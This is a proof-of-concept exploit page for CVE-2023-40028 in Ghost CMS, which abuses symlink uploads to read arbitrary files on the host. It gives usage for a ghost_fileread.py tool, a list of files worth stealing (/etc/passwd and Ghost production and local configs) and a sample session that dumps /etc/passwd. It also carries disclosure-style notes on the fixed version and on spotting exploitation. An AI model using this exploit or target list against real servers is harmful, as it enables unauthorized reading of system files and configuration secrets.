Share
## https://sploitus.com/exploit?id=7D012DFE-B00A-5B63-A257-08D2808823B4
# CVE-2023-40028

## Description

This Proof-of-Concept (POC) can be used to exploit CVE-2023-40028 to achieve file-read access in Ghost CMS.

Ghost is an open source content management system (CMS). Versions prior to 5.59.1 are subject to a vulnerability which allows authenticated users to upload files that are symlinks. This can be exploited to perform an arbitrary file read of any file on the host operating system. Site administrators can check for exploitation of this issue by looking for unknown symlinks within Ghost's `content/` folder. Version 5.59.1 contains a fix for this issue. All users are advised to upgrade. There are no known workarounds for this vulnerability.

Severity: 6.5 MEDIUM Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Some plaintext non-binary files that could be of interest:

- `/etc/hosts` Linux local-DNS resolution
- `/etc/passwd` Linux user accounts
- `/etc/group` Linux user groups
- `/var/lib/ghost/config.local.json` Ghost CMS Local Config
- `/var/lib/ghost/config.production.json` Ghost CMS Production Config

## Usage

```text
usage: ghost_fileread.py [-h] -t URL [-f FILE] [-u USERNAME] [-p PASSWORD] [-c COOKIE] [-x PROXY] [--timeout TIMEOUT] [-a USERAGENT]

POC for CVE-2023-40028 (Symlink Upload to Arbitrary File Read in Ghost CMS)

options:
  -h, --help            show this help message and exit
  -t URL, --url URL     Target Ghost CMS URL (e.g., http://target-ghost-cms)
  -f FILE, --file FILE  File path to read
  -u USERNAME, --username USERNAME
                        Username for authentication
  -p PASSWORD, --password PASSWORD
                        Password for authentication
  -c COOKIE, --cookie COOKIE
                        Cookie for authentication
  -x PROXY, --proxy PROXY
                        HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
  --timeout TIMEOUT     Request timeout
  -a USERAGENT, --useragent USERAGENT
                        User agent to use when sending requests
```

## Example

```sh
$ python3 ghost_fileread.py -t http://<url> -u '<username>' -p '<password>'                                      
[*] Checking authentication (username/password) ...
[+] Admin session created successfully.

Welcome to the Ghost file-read shell. Type help or ? to list commands.

file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
```

## References

- [NIST CVE-2023-40028](https://nvd.nist.gov/vuln/detail/CVE-2023-40028)
- [Git Commit Fix](https://github.com/TryGhost/Ghost/commit/690fbf3f7302ff3f77159c0795928bdd20f41205)